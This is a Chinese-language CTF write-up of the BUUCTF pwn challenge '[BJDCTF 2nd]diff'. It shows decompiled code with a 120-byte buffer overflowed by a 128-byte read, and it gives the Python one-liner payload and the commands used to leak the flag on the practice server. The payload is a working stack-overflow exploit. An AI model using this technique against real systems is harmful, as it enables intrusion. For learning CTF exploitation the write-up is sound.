CTF-Pwn-[BJDCTF 2nd]diff
博客說明
文章所涉及的資料來自互聯網整理和個人總結,意在於個人學習和經驗匯總,如有什么地方侵權,請聯系本人刪除,謝謝!本文僅用於學習與交流,不得用於非法用途!
CTP平台
網址
題目
Pwn類,[BJDCTF 2nd]diff
使用ssh遠程連接Username: ctf Password: guest
思路
遠程連接
ssh -p 29857 ctf@node3.buuoj.cn
可以看到里面有一個文件diff,我們把它下載下來這里使用ssh協議的scp
scp -P 28708 ctf@node3.buuoj.cn:/home/ctf/diff /home/tanglei/Desktop/ctf/
接下來我們來分析這個源文件
然后使用ida32位打開它
注意到compare函數里面有個漏洞
int __cdecl compare(int a1, int fd)
{
char v2; // al
int v4; // [esp+0h] [ebp-80h]
unsigned int i; // [esp+4h] [ebp-7Ch]
char addr[120]; // [esp+8h] [ebp-78h]
v4 = 0;
JUMPOUT(sys_read(fd, buf1, 0x80u), 0, &failed);
JUMPOUT(sys_read(a1, addr, 0x80u), 0, &failed);
for ( i = 0; addr[i] + buf1[i] && i < 0x400; ++i )
{
v2 = buf1[i];
if ( v2 != addr[i] )
return v4 + 1;
if ( v2 == 10 )
++v4;
}
return 0;
}
里面addr
長度為120,read
讀了128字節,很明顯的棧溢出,有8個字節的溢出,buf1有可執行的權限,我們只要獲取到buf1的地址並覆蓋它,即可getshell
payload
看到網上的payload時這樣寫的
python -c "print 'a'*120+'\x5e\x91\x04\x08\x5e\x91\x04\x08'" >flag2
這個里面有python的命令,把payload寫進第二個文件,就可以把flag爆出來,
執行./diff flag /tmp/flag2
完整命令
cd /tmp
/tmp$ python -c "print 'a'*120+'\x5e\x91\x04\x08\x5e\x91\x04\x08'" >flag2
/tmp$ cd ~
./diff flag /tmp/flag2
測試
已經找到flag,不過好像少了個f,補上就好
感謝
BUUCTF
以及勤勞的自己
關注公眾號: 歸子莫,獲取更多的資料,還有更長的學習計划